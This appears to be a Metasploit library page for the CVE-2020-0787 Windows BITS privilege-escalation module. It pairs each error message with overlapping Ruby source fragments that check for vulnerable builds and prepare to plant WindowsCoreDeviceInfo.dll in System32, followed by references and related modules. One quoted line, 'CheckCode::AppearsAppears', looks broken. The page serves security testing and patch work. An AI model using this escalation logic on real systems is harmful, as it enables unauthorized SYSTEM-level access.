122: elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803
123: return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
124: elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709
125: return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
126: elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703
127: return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
128: elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607
Vulnerable Windows 10 v1709 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 10 v1709 build detected!" error message:
120: elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1098')) # Windows 10 v1809
121: return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
122: elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803
123: return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
124: elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709
125: return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
126: elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703
127: return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
128: elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607
129: return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
130: elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
Vulnerable Windows 10 v1703 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 10 v1703 build detected!" error message:
122: elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803
123: return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
124: elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709
125: return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
126: elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703
127: return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
128: elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607
129: return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
130: elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
131: return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
132: elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18519')) # Windows 10 v1507
Vulnerable Windows 10 v1607 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 10 v1607 build detected!" error message:
124: elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709
125: return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
126: elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703
127: return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
128: elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607
129: return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
130: elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
131: return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
132: elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18519')) # Windows 10 v1507
133: return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
134: elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2
Vulnerable Windows 10 v1511 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 10 v1511 build detected!" error message:
126: elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703
127: return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
128: elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607
129: return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
130: elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
131: return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
132: elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18519')) # Windows 10 v1507
133: return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
134: elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2
135: target_not_presently_supported
136: return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
Vulnerable Windows 10 v1507 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 10 v1507 build detected!" error message:
128: elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607
129: return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
130: elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
131: return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
132: elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18519')) # Windows 10 v1507
133: return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
134: elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2
135: target_not_presently_supported
136: return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
137: elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012
138: target_not_presently_supported
Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!" error message:
131: return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
132: elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18519')) # Windows 10 v1507
133: return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
134: elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2
135: target_not_presently_supported
136: return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
137: elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012
138: target_not_presently_supported
139: return CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!')
140: elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2
141: target_not_presently_supported
Vulnerable Windows 8/Windows Server 2012 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 8/Windows Server 2012 build detected!" error message:
134: elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2
135: target_not_presently_supported
136: return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
137: elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012
138: target_not_presently_supported
139: return CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!')
140: elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2
141: target_not_presently_supported
142: return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
143: elsif (build_num_gemversion >= Rex::Version.new('6.0.6001.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2
144: target_not_presently_supported
Vulnerable Windows 7/Windows Server 2008 R2 build detected!
Here is a relevant code snippet related to the "Vulnerable Windows 7/Windows Server 2008 R2 build detected!" error message:
137: elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012
138: target_not_presently_supported
139: return CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!')
140: elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2
141: target_not_presently_supported
142: return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
143: elsif (build_num_gemversion >= Rex::Version.new('6.0.6001.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2
144: target_not_presently_supported
145: return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')
146: else
147: return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
Windows Server 2008/Windows Server 2008 SP2 build detected!
Here is a relevant code snippet related to the "Windows Server 2008/Windows Server 2008 SP2 build detected!" error message:
140: elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2
141: target_not_presently_supported
142: return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
143: elsif (build_num_gemversion >= Rex::Version.new('6.0.6001.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2
144: target_not_presently_supported
145: return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')
146: else
147: return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
148: end
149: end
150:
The build number of the target machine does not appear to be a vulnerable version!
Here is a relevant code snippet related to the "The build number of the target machine does not appear to be a vulnerable version!" error message:
142: return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
143: elsif (build_num_gemversion >= Rex::Version.new('6.0.6001.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2
144: target_not_presently_supported
145: return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')
146: else
147: return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
148: end
149: end
150:
151: def check_target_is_running_supported_windows_version
152: if sysinfo['OS'].match('Windows').nil?
Target is not running Windows!
Here is a relevant code snippet related to the "Target is not running Windows!" error message:
148: end
149: end
150:
151: def check_target_is_running_supported_windows_version
152: if sysinfo['OS'].match('Windows').nil?
153: fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
154: elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil?
155: fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...')
156: end
157: end
158:
Target is running Windows, its not a version this module supports! Bailing...
Here is a relevant code snippet related to the "Target is running Windows, its not a version this module supports! Bailing..." error message:
150:
151: def check_target_is_running_supported_windows_version
152: if sysinfo['OS'].match('Windows').nil?
153: fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
154: elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil?
155: fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...')
156: end
157: end
158:
159: def check_target_and_payload_match_and_supported(client_arch)
160: if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)
This exploit currently only supports x86 and x64 targets!
Here is a relevant code snippet related to the "This exploit currently only supports x86 and x64 targets!" error message:
156: end
157: end
158:
159: def check_target_and_payload_match_and_supported(client_arch)
160: if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)
161: fail_with(Failure::BadConfig, 'This exploit currently only supports x86 and x64 targets!')
162: end
163: payload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere.
164: if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)
165: fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch})") # Unsupported architecture, so return an error.
166: end
Unsupported payload architecture (<PAYLOAD_ARCH>)
Here is a relevant code snippet related to the "Unsupported payload architecture (<PAYLOAD_ARCH>)" error message:
160: if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)
161: fail_with(Failure::BadConfig, 'This exploit currently only supports x86 and x64 targets!')
162: end
163: payload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere.
164: if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)
165: fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch})") # Unsupported architecture, so return an error.
166: end
167: if ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) || ((client_arch == ARCH_X86) && (payload_arch != ARCH_X86))
168: fail_with(Failure::BadConfig, "Payload architecture (#{payload_arch}) doesn't match the architecture of the target (#{client_arch})!")
169: end
170: end
Payload architecture (<PAYLOAD_ARCH>) doesn't match the architecture of the target (<CLIENT_ARCH>)!
Here is a relevant code snippet related to the "Payload architecture (<PAYLOAD_ARCH>) doesn't match the architecture of the target (<CLIENT_ARCH>)!" error message:
163: payload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere.
164: if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)
165: fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch})") # Unsupported architecture, so return an error.
166: end
167: if ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) || ((client_arch == ARCH_X86) && (payload_arch != ARCH_X86))
168: fail_with(Failure::BadConfig, "Payload architecture (#{payload_arch}) doesn't match the architecture of the target (#{client_arch})!")
169: end
170: end
171:
172: def check_windowscoredeviceinfo_dll_exists_on_target
173: # Taken from bwatters-r7's cve-2020-0688_service_tracing.rb code.
<WOW64_TARGET_PAYLOAD_PATHNAME> already exists
Here is a relevant code snippet related to the "<WOW64_TARGET_PAYLOAD_PATHNAME> already exists" error message:
182: normal_target_payload_pathname = "#{win_dir}\\System32\\WindowsCoreDeviceInfo.dll"
183: wow64_target_payload_pathname = "#{win_dir}\\Sysnative\\WindowsCoreDeviceInfo.dll"
184: wow64_existing_file = "#{win_dir}\\Sysnative\\win32k.sys"
185: if file?(wow64_existing_file)
186: if file?(wow64_target_payload_pathname)
187: print_warning("#{wow64_target_payload_pathname} already exists")
188: print_warning('If it is in use, the overwrite will fail')
189: unless datastore['OVERWRITE_DLL']
190: print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
191: fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
192: end
If it is in use, the overwrite will fail
Here is a relevant code snippet related to the "If it is in use, the overwrite will fail" error message:
183: wow64_target_payload_pathname = "#{win_dir}\\Sysnative\\WindowsCoreDeviceInfo.dll"
184: wow64_existing_file = "#{win_dir}\\Sysnative\\win32k.sys"
185: if file?(wow64_existing_file)
186: if file?(wow64_target_payload_pathname)
187: print_warning("#{wow64_target_payload_pathname} already exists")
188: print_warning('If it is in use, the overwrite will fail')
189: unless datastore['OVERWRITE_DLL']
190: print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
191: fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
192: end
193: end
Change OVERWRITE_DLL option to true if you would like to proceed.
Here is a relevant code snippet related to the "Change OVERWRITE_DLL option to true if you would like to proceed." error message:
185: if file?(wow64_existing_file)
186: if file?(wow64_target_payload_pathname)
187: print_warning("#{wow64_target_payload_pathname} already exists")
188: print_warning('If it is in use, the overwrite will fail')
189: unless datastore['OVERWRITE_DLL']
190: print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
191: fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
192: end
193: end
194: target_payload_pathname = wow64_target_payload_pathname
195: elsif file?(normal_target_payload_pathname)
<WOW64_TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false
Here is a relevant code snippet related to the "<WOW64_TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false" error message:
186: if file?(wow64_target_payload_pathname)
187: print_warning("#{wow64_target_payload_pathname} already exists")
188: print_warning('If it is in use, the overwrite will fail')
189: unless datastore['OVERWRITE_DLL']
190: print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
191: fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
192: end
193: end
194: target_payload_pathname = wow64_target_payload_pathname
195: elsif file?(normal_target_payload_pathname)
196: print_warning("#{normal_target_payload_pathname} already exists")
<NORMAL_TARGET_PAYLOAD_PATHNAME> already exists
Here is a relevant code snippet related to the "<NORMAL_TARGET_PAYLOAD_PATHNAME> already exists" error message:
191: fail_with(Failure::BadConfig, "#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
192: end
193: end
194: target_payload_pathname = wow64_target_payload_pathname
195: elsif file?(normal_target_payload_pathname)
196: print_warning("#{normal_target_payload_pathname} already exists")
197: print_warning('If it is in use, the overwrite will fail')
198: unless datastore['OVERWRITE_DLL']
199: print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
200: fail_with(Failure::BadConfig, "#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
201: end
If it is in use, the overwrite will fail
Here is a relevant code snippet related to the "If it is in use, the overwrite will fail" error message:
192: end
193: end
194: target_payload_pathname = wow64_target_payload_pathname
195: elsif file?(normal_target_payload_pathname)
196: print_warning("#{normal_target_payload_pathname} already exists")
197: print_warning('If it is in use, the overwrite will fail')
198: unless datastore['OVERWRITE_DLL']
199: print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
200: fail_with(Failure::BadConfig, "#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
201: end
202: target_payload_pathname = normal_target_payload_pathname
Change OVERWRITE_DLL option to true if you would like to proceed.
Here is a relevant code snippet related to the "Change OVERWRITE_DLL option to true if you would like to proceed." error message:
194: target_payload_pathname = wow64_target_payload_pathname
195: elsif file?(normal_target_payload_pathname)
196: print_warning("#{normal_target_payload_pathname} already exists")
197: print_warning('If it is in use, the overwrite will fail')
198: unless datastore['OVERWRITE_DLL']
199: print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
200: fail_with(Failure::BadConfig, "#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
201: end
202: target_payload_pathname = normal_target_payload_pathname
203: end
204: target_payload_pathname
<NORMAL_TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false
Here is a relevant code snippet related to the "<NORMAL_TARGET_PAYLOAD_PATHNAME> already exists and OVERWRITE_DLL option is false" error message:
195: elsif file?(normal_target_payload_pathname)
196: print_warning("#{normal_target_payload_pathname} already exists")
197: print_warning('If it is in use, the overwrite will fail')
198: unless datastore['OVERWRITE_DLL']
199: print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')
200: fail_with(Failure::BadConfig, "#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false")
201: end
202: target_payload_pathname = normal_target_payload_pathname
203: end
204: target_payload_pathname
205: end
Session is already elevated
Here is a relevant code snippet related to the "Session is already elevated" error message:
206:
207: def exploit
208: # Step 1: Check target environment is correct.
209: print_status('Step #1: Checking target environment...')
210: if is_system?
211: fail_with(Failure::None, 'Session is already elevated')
212: end
213: client_arch = sysinfo['Architecture']
214: check_target_is_running_supported_windows_version
215: check_target_and_payload_match_and_supported(client_arch)
216: check_windowscoredeviceinfo_dll_exists_on_target
Go back to menu.
Related Pull Requests
- #15575 Merged Pull Request: Update Gemfile.lock
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions
References
- CVE-2020-0787
- https://itm4n.github.io/cve-2020-0787-windows-bits-eop/
- https://github.com/itm4n/BitsArbitraryFileMove
- https://attackerkb.com/assessments/e61cfec0-d766-4e7e-89f7-5aad2460afb8
- https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
- https://itm4n.github.io/usodllloader-part1/
- https://itm4n.github.io/usodllloader-part2/
See Also
Check also the following modules related to this module:
- exploit/windows/http/exchange_ecp_viewstate
- exploit/windows/local/cve_2017_8464_lnk_lpe
- exploit/windows/local/cve_2018_8453_win32k_priv_esc
- exploit/windows/local/cve_2019_1458_wizardopium
- exploit/windows/local/cve_2020_0668_service_tracing
- exploit/windows/local/cve_2020_0796_smbghost
- exploit/windows/local/cve_2020_1048_printerdemon
- exploit/windows/local/cve_2020_1054_drawiconex_lpe
- exploit/windows/local/cve_2020_1313_system_orchestrator
- exploit/windows/local/cve_2020_1337_printerdemon
- exploit/windows/local/cve_2020_17136
- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2021_21551_dbutil_memmove
- exploit/windows/local/cve_2021_40449
- exploit/windows/local/cve_2022_21882_win32k
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/cve_2022_26904_superprofile
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/fileformat/cve_2017_8464_lnk_rce
- exploit/windows/misc/cve_2022_28381_allmediaserver_bof
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/multi/sap/cve_2020_6207_solman_rs
- exploit/unix/local/emacs_movemail
- post/hardware/automotive/mazda_ic_mover
Related Nessus plugins:
- Security Updates for Exchange (February 2020)
- KB4538461: Windows 10 Version 1809 and Windows Server 2019 March 2020 Security Update
- KB4540670: Windows 10 Version 1607 and Windows Server 2016 March 2020 Security Update
- KB4540673: Windows 10 Version 1903 and Windows 10 Version 1909 March 2020 Security Update
- KB4540681: Windows 10 Version 1709 March 2020 Security Update
- KB4540689: Windows 10 Version 1803 March 2020 Security Update
- KB4540693: Windows 10 March 2020 Security Update
- KB4541505: Windows 8.1 and Windows Server 2012 R2 March 2020 Security Update
- KB4540694: Windows Server 2012 March 2020 Security Update
- KB4541500: Windows 7 and Windows Server 2008 R2 March 2020 Security Update
Authors
- itm4n
- gwillcox-r7
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.